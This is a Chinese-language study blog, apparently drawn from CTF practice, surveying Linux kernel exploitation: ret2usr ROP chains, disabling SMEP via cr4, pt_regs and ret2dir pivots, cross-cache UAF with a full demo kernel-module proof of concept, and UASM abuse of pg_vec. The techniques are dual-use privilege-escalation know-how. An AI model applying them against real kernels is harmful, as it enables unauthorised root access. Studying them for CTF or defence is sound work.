如GFP_KERNEL: 0x6000C0
GFP_KERNEL: 0x24000C0

攻击方法

// 这一部分是很久之前写的,还没有更新,请忽略(,之后笔者添加一些攻击手法以及poc

#TODO

  • ROP
    • ret2usr
    • pt_regs
    • sycrop
    • ret2dir
  • heap
    • heap spray
    • heap overflow
    • double free
    • Cross cache overflow
    • page level heap fenshui
  • Race Condition
  • USMA
  • 基于idt的内存搜索

ROP

ret2usr

由于KPTI的出现,ret2usr实际上已经不可用了,这里介绍一下ret2usr仅仅是为了拓展了解。

简单来说,ret2usr的核心就是利用内核的ring 0权限,执行用户空间的代码来实现提权。

一个典型的ret2usr rop链:

1
2
3
4
5
6
7
8
9
rop_chain[i++] = (size_t)getRootPrivilige;  
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

这里的getRootPrivilige就是用户态的 提权代码。

绕过SMAP与SMEP

SMAP和SMEP是 x64 限制内核和用户空间的数据访问的一个架构功能,通过CR4寄存器的低位来判断是否开启。 开启后 从内核态访问用户态的数据会直接panic,因此通过在ROP链中插入 修改 cr4 寄存器的gadget即可绕过

Pasted-image-20240305085117.png

gdb 无法查看 cr4 寄存器的值,可以通过 kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0

KPTI如何限制ret2usr

最后讨论一下KPTI的实现

When PTI is enabled, the kernel manages two sets of page tables. The first set is very similar to the single set which is present in kernels without PTI. This includes a complete mapping of userspace that the kernel can use for things like copy_to_user().
Although complete, the user portion of the kernel page tables is crippled by setting the NX bit in the top level. This ensures that any missed kernel->user CR3 switch will immediately crash userspace upon executing its first instruction.
The userspace page tables map only the kernel data needed to enter and exit the kernel. This data is entirely contained in the ‘struct cpu_entry_area’ structure which is placed in the fixmap which gives each CPU’s copy of the area a compile-time-fixed virtual address.
For new userspace mappings, the kernel makes the entries in its page tables like normal. The only difference is when the kernel makes entries in the top (PGD) level. In addition to setting the entry in the main kernel PGD, a copy of the entry is made in the userspace page tables’ PGD.
This sharing at the PGD level also inherently shares all the lower layers of the page tables. This leaves a single, shared set of userspace page tables to manage. One PTE to lock, one set of accessed bits, dirty bits, etc…

KPTI维护两套页表,一套和没有开启KPTI 时的页表类似,拥有用户态和内核态的完整映射,这是给内核态使用的,不同的是, 此页表对于用户态内存空间的映射,是没有可执行权限的,这里权限的限制是通过页表的权限位来实现的(但是通过gdb+qemu调试linux kernel,内核态的用户态页表也具有可执行标识? 此处暂且记下),因此ret2usr如果关闭了smap和smep,尽管可以访问到用户态数据,但是无法执行用户态代码;

此外,供给用户态的页表,拥有用户态的完整映射和内核的部分映射,这部分映射仅包含进入和离开内核态的代码。

pt_regs 与 KROP

在5.xx版本(笔者还没有检查具体是哪些版本),或者高版本没有开启如下选项时:

1
CONFIG_RANDOMIZE_KSTACK_OFFSET

pt_regs是进入内核态时,压入栈中的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {  
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

我们注意到,这些内容,由用户态的寄存器决定,可以由我们控制。

因此这些部分可以用于布置ROP链, 当劫持到内核某个结构体的函数指针时,只需要寻找到一条形如 “add rsp, val ; ret” 的 gadget 便能够完成 ROP

具体而言,当通过syscall触发进入内核态前,我们通过在用户态控制所有寄存器,之后,触发syscall时,在syscall_entry 会将用户态的所有寄存器压入栈中来保存运行状态,这时,如果我们能劫持控制流,并通过类似 add rsp, val ; ret 的gadget来迁移栈,在我们可以控制的pt_regs上进行ROP

然而,在之后的内核版本中,加入了CONFIG_RANDOMIZE_KSTACK_OFFSET , 使得在进入内核时,会产生一个随机栈偏移,使得此利用的稳定性下降。

ret2dir

内核堆区 direct_mapping_arean 存在对于整个物理内存的映射,因此,通过mmap在用户态喷射的匿名页面,实际上也从此分配。

通过mmap大量分配,可以获取到 kernel 上一块近乎连续的物理内存,因此,通过不断堆喷布置gadget滑块,然后随机选择一个内核基地址进行栈迁移,最终就有很大概率命中我们写入的页面。

sycrop

通过下硬件断点在用户态触发的方式,可以将寄存器内容推送到与 per_cpu_entry_area 固定偏移的DB stack上,而在linux 6.2之前, per_cpu_entry_area 没有加入随机化,地址固定,所以可以达到在内核固定地址造ROP链的手段

work_for_cpu_fn

这实际上是一个tricks,在内核很难ROP时,可以利用

1
2
3
4
5
6
7
8
static void work_for_cpu_fn(struct work_struct *work)

{

struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
wfc->ret = wfc->fn(wfc->arg);

}

在劫持rsi的情况。

这个函数可以实现执行一次函数调用,并将返回值保存

overview

注意到,上述列出的几个攻击方法,实际上核心问题就是ROP链写在哪些地方。

  • pt_regs: 写在内核栈上
  • ret2dir: 写在direct mapping arena
  • sycrop: 写在加入随机化的区域

由于ROP可以很方便劫持控制流,所以使用ROP攻击内核时,一般使用 commit_cred 进行提权

遗憾的是,在高版本内核,由于CFI的引入,很多时候难以找到完善的gadget进行利用,限制了ROP的使用

heap

UAF

有效大小Obj的UAF和良好的kmalloc flag

这里主要指和内核关键结构体存在同样的分配size和flag的UAF, 如 tty_operationsseq_operations 等等。

利用这些结构的UAF可以直接leak 内核数据或者劫持控制流,这个攻击流程就不赘述了。

任意大小的UAF

接下来讲述一下任意大小UAF(也没有那么任意)的利用

CVE-2021-22555: 基于msg_msg的堆喷 | GFP_KERNEL_ACCOUNT
基于add_key的堆喷
UASM

见后文UASM的利用

heap overflow

基础overflow

同上文,存在特定结构体的Overflow, 因此可以非常方便地控制一个有效结构,此时的利用非常简单。

cross_cache overflow | 打破slab隔离

众所周知,slab之间存在隔离,因此,如果溢出点在一个特定size的slab,此时,就无法通过直接的溢出劫持控制流。

但是,还是存在在buddy system溢出的办法。

考虑到堆喷耗尽buddy system的低位单页内存,那么之后从slab分配就会从高位连续的页面中切分,此时,就可以使得分配的页面来自一块近乎物理连续的内存,此时,如果在某个页面末尾的slab溢出,那么就可以溢出到下一个页面。

如果下一个页面,被另一个cache申请用来分配另外一种slab,此时就可以实现跨cache的溢出,从而控制有意义的cache.

基于pipe_buffer的溢出通解

#TODO

Race condition

double feach

由于内核模块是全局的,如果对于内核模块的数据访问没有加锁,就很有可能出现竞态漏洞。

userfault

在linux 5.11以下可用。

主要是用来辅助条件竞争漏洞。

userfault是一个在用户态进行缺页处理接口。

在正常情况下, race condition的时间窗口是很短暂的,如果能够通过userfault 将操作停住,就能够将竞争的时间窗口扩大,实现竞争。

fuse

// 通过CVE分析fuse的利用
#TODO

Cross Cache UAF

cross cache uaf指将slab系统中的object释放时,让slab系统将其返回给buddy system,再让其他的cache的object分配时,从buddy system中获取到这个page,从而能够跨cache利用。

笔者开始学习cross cache的攻击是从下面这篇blog开始的,但是,这篇文章有些错误的地方,他把cpu_partialcpu_partial_slab混淆了,因此他算出来的需要的object数量,远大于实际分配需要的,笔者之前在比赛中就遇到了这个问题。
https://veritas501.github.io/2023_03_07-Cross Cache Attack技术细节分析/

slab释放object过程中,如何返回页面到buddy system中,笔者已经在object的分配的slowpath2中详细讲述了,因此我们在这里简单讲述一下攻击流程:

Step1. 了解当前object的相关信息
从slub allocator的查询API节,我们分析了怎么查询API的状态,为了完成攻击,我们需要了解slab系统的相关信息如下:

1
cd /sys/kernel/slab/my_struct/
1
cat order

Pasted-image-20251012231651.png
知道我们的object再返回buddy system的时候,会返回到哪个order

1
cat object_size

Pasted-image-20251012231918.png
知道我们分配到object的大小,其实我们更需要的是真正的size,而不是object_size,但是不开启debug的情况下,这两个size一般一样或者差不多(多一个对齐的差异可能),可以近似使用一下。

1
cat objs_per_slab

Pasted-image-20251012232223.png
知道每个slab有多少个obj

1
cat slabs_cpu_partial 

Pasted-image-20251012234149.png
知道我们攻击前,kmem_cache_cpu->partial上有多少slab,这里说明cpu3上有一个slab,cpu1上有3个,8和24分别是按照slab半满估计出来的object数量

1
cat cpu_partial

Pasted-image-20251012234901.png
知道kmem_cache->cpu_partial,然后我们可以计算cpu_partial_slab如下:

1
cpu_partial_slabs = (cpu_partial*2 + obj_per_slab - 1)/obj_per_slab

这里有(522+161)/16=7(52*2+16-1)/16=7 ,所以cpu_partial_slab=7

Step2. 清空目标objetc的kmem_cache_cpu->partial的缓存

这里可以分配slabs_cpu_partial*objs_per_slab+objs_per_slab个,可以稳定清空指定cpu的kmem_cache_cpu->partialkmem_cache_cpu->slab。也可以bind到一个partial链表为空的cpu上。

Step3. 分配(cpu_partial_slabs+1)*objs_per_slab个objects

此时从buddy分配了cpu_partial_slabs+1个slab,由于之前可能存在的零散缓存,我们分配的object可能有些许错位,毕竟我们不可能刚刚好清空原有的缓存,总是会多分配,在c->slab留下一个残留的slab,不过这无关紧要。

Step4. 分配vuln object

Step5. 分配objs_per_slab+1个object

Step6. 释放vuln object

Step7. 将vuln object所在的页面清空

由于我们并不知道vuln object是页面上的第几个object,我们把在其前面分配的objs_per_slab个object和在其后面分配的objs_per_slab个object清空。
此时,vuln页进入kmem_cache_cpu->partial,还有一个或者两个页面,由于被我们连带释放了其中的objects,也会放进partial链表中。

Step8. 对于step3中分配的所有slab,都释放一个object

此时,这些slab都进入partial,而且一定会触发c->partial >= s->cpu_partial_slab,会有cpu_partial_slab个slab放入kmem_cache_node->partial。由于put_cpu_partial是头插法插入,vuln objecs所在的slab在触发放入node时,处于处理链表的尾部,只要之前放入slab的数量,大于c->min_partial(一般为5),那么就会触发discard_page,释放page。

这里遵循了之前那片blog的攻击路径,但是显然我们发现,其实最后一步,是有概率失败的,如果cpu_partial_slab <= min_partial,那么被放进node partial的时候,就会因为不满足大于min_partial的条件而失败。当然,笔者没有自己根据create_kmem_cache初始化传入的size算过cpu_partial_slab,很可能,百分之九十九的情况下,是满足这个条件的,就算不满足,也只需要预先多释放一次,使得释放的slowpath2先走一遍,填满node的partial。

但是,笔者这里给出一个新的思路,从笔者之前的分析我们可以知道,除了slowpath2,slowpath3也会discard_slab,然后,我们会发现,只要把最后两个step,即step7和step8交换,vuln object所在的slab,就会以半满的形式,进入node的partial,然后我们将其释放为空,就会走slowpath3,释放页面。

最后,给出一个笔者的思路的poc,改自前面的blog。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include "slub_def.h"

#define OBJ_SIZE 512
#define OBJ_NUM (0x1000)

#define loge(fmt, ...) pr_err("%s:%d " fmt "\n", "attack_demo", \
__LINE__, ##__VA_ARGS__);

struct my_struct
{
union
{
char data[OBJ_SIZE];
struct
{
void (*func)(void);
char paddings[OBJ_SIZE - 8];
};
};
} __attribute__((aligned(OBJ_SIZE)));

static struct kmem_cache *my_cachep;
struct my_struct **tmp_ms;
struct my_struct *random_ms;

void hello_func(void)
{
loge("---> hello_func()");
}

void hack_func(void)
{
loge("---> hack_func(): cross page attack success");
}

static int __init km_init(void)
{
#define OO_SHIFT 16
#define OO_MASK ((1 << OO_SHIFT) - 1)
int i, offset, cpu_partial, objs_per_slab, cpu_partial_slabs;
struct page *realloc;
void *target_page_virt;
void *realloc_page_virt;
unsigned long page_size;
int page_order;
struct my_struct *ms;
int uaf_idx;

tmp_ms = kmalloc(OBJ_NUM * 8, GFP_KERNEL);
my_cachep = kmem_cache_create(
"my_struct", sizeof(struct my_struct), 0,
SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT, NULL);

loge("cache info:");
loge(">> my_cachep->name: %s", my_cachep->name);
cpu_partial = my_cachep->cpu_partial;
cpu_partial_slabs = my_cachep->cpu_partial_slabs;
loge(">> cpu_partial: %d", cpu_partial);
objs_per_slab = my_cachep->oo.x & OO_MASK;
loge(">> objs_per_slab: %u", objs_per_slab);
loge(">> object_size: 0x%x", my_cachep->object_size);
loge(">> size: 0x%x", my_cachep->size);
loge(">> cpu_partial_slab: 0x%x", my_cachep->cpu_partial_slabs);
// loge(">> align: 0x%x", my_cachep->align);
page_size = my_cachep->object_size * objs_per_slab;
page_order = get_order(page_size);
loge(">> so page size: 0x%lx, page order: %d\n", page_size, page_order);

random_ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);
loge("alloc a random object at %px\n", random_ms);

loge("=== STEP 1 ===");
loge(">> alloc `cpu_partial + 1` = %d pages of objects,", cpu_partial_slabs + 1);
loge(">> each page contains `objs_per_slab` = %d objects\n", objs_per_slab);
for (i = 0, offset = 0; i < (objs_per_slab * (cpu_partial_slabs + 1)); i++)
{
tmp_ms[offset + i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}
offset += i;

loge("=== STEP 2 ===");
loge(">> alloc `objs_per_slab - 1` = %d objects\n", objs_per_slab - 1);
for (i = 0; i < objs_per_slab - 1; i++)
{
tmp_ms[offset + i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}
offset += i;

loge("=== STEP 3 ===");
loge(">> alloc a vulnerable object for UAF");
uaf_idx = offset++;
ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);
tmp_ms[uaf_idx] = ms;
target_page_virt = (void *)((unsigned long)ms &
~(unsigned long)(page_size - 1));
loge(">> vuln object index: %d", uaf_idx);
loge(">> vuln object at %px, page: %px", ms, target_page_virt);
loge(">> set function pointer to `hello()` and call it\n");
ms->func = (void *)hello_func;
ms->func();

loge("=== STEP 4 ===");
loge(">> alloc `objs_per_slab + 1` = %d objects\n", objs_per_slab + 1);
for (i = 0; i < objs_per_slab + 1; i++)
{
tmp_ms[offset + i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}
offset += i;

loge("=== STEP 5 ===");
loge(">> free the vulnerable object, now it's UAF\n");
kmem_cache_free(my_cachep, ms);

loge("=== STEP 6 ===");
loge(">> free one object per page\n");
for (i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++)
{
if (i % objs_per_slab == 0)
{
if (tmp_ms[i])
{
kmem_cache_free(my_cachep, tmp_ms[i]);
tmp_ms[i] = NULL;
}
}
}

loge("=== STEP 7 ===");
loge(">> make vuln page is empty\n");
for (i = 1; i < objs_per_slab; i++)
{
if (tmp_ms[uaf_idx + i])
{
kmem_cache_free(my_cachep, tmp_ms[uaf_idx + i]);
}
if (tmp_ms[uaf_idx - i])
{
kmem_cache_free(my_cachep, tmp_ms[uaf_idx - i]);
}
tmp_ms[uaf_idx + i] = NULL;
tmp_ms[uaf_idx - i] = NULL;
}

loge("let's check if we can get the vuln page ...");
realloc = alloc_pages(GFP_KERNEL, page_order);
realloc_page_virt = page_address(realloc);
loge("realloc page at %px", realloc_page_virt);
if (realloc_page_virt == target_page_virt)
{
loge("realloc SUCCESS :)");
}
else
{
loge("cross page attack failed :(");
return 0;
}

loge("assume we has the ability to overwrite the content of page");
for (i = 0; i < page_size / 8; i++)
{
((void **)realloc_page_virt)[i] = (void *)hack_func;
}

loge("now, let's call func again (UAF)");
ms->func();

free_page((unsigned long)realloc_page_virt);
return 0;
}

static void __exit km_exit(void)
{
int i;

for (i = 0; i < OBJ_NUM; i++)
{
if (tmp_ms[i])
{
kmem_cache_free(my_cachep, tmp_ms[i]);
}
}
kmem_cache_free(my_cachep, random_ms);
kmem_cache_destroy(my_cachep);
kfree(tmp_ms);
loge("Bye");
}

module_init(km_init);
module_exit(km_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("v3rdant");
MODULE_DESCRIPTION("Cross Page Attack Demo Module.");
MODULE_VERSION("0.1");

UASM

来自 https://vul.360.net/archives/391 的利用

这个利用笔者最初有点犹豫放在哪个部分。

最后笔者还是决定将内容单独列一个二级目录,因为笔者认为这代表了一种新的利用方法, 不仅仅是 pg_vec, 在io_uring中,同样存在着内核和用户地址的共同映射,有没有可能也利用此来利用呢。

甚至直接对内核页表进行修改,实际上也可以归结为这种利用的一部分。

更进一步的, 笔者认为,UASM 也许可以用在page level uaf中(由于笔者太菜了,暂时先码着)。

简单而言,在创建socket并设置packet后,此时,内核维护一个 pg_vec 数组,每一个数组地址对应着一个虚拟地址。

此时,如果能够通过UAF或者溢出修改pg_vec, 然后再在用户态调用mmap,内核实际上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// /net/packet/af_packet.c

static int packet_mmap(file, sock, vma)
{
for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
for (i = 0; i < rb->pg_vec_len; i++) {
struct page *page;
void *kaddr = rb->pg_vec[i].buffer;
for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) { page = pgv_to_page(kaddr);
err = vm_insert_page(vma, start, page);
if (unlikely(err))
goto out;
start += PAGE_SIZE;
kaddr += PAGE_SIZE;
}
}
}
return err;
}

通过vm_insert_page 将这些页,插入了用户态地址空间。

这些页需要满足如下要求

  • page不为匿名页
  • 不为Slab子系统分配的页
  • page不含有type

这就限制了使用内核堆的页面。

1
2
3
4
5
6
7
8
9
// /mm/memory.c

static int validate_page_before_insert(struct page *page)
{
if (PageAnon(page) || PageSlab(page) || page_has_type(page))
return -EINVAL;
flush_dcache_page(page);
return 0;
}

值得一提的是,这里pg_vec原来的虚拟地址原来的权限是无所谓的,因为并没有对原来虚拟地址的内存权限(也即这个页表项的内存权限)进行检查。

因此我们可以直接修改内核代码段或者内核模块代码段、数据段。
而且线性映射区域存在内核的全部映射,可以在这个地址范围找到上述页面。

更妙的是,pg_vec可以由用户态决定,不过其分配flag是GFP_KERNEL

相比于ROP,利用更加简单,并且不受CFI的影响。

dirtypagetable

#TODO

POP | page level ROP

来自blachhat2021的一种思路,主要是用来拓展脑洞,实际利用起来不如UASM直接改内核代码方便。但是很有传统利用的美感。

#TODO

tricks

  • 基于inter硬件漏洞的leak tricks
  • 在内核“堆基址”(page_offset_base) + 0x9d000 处存放着 secondary_startup_64 函数的地址

从CTF到实战利用的哲思

#TODO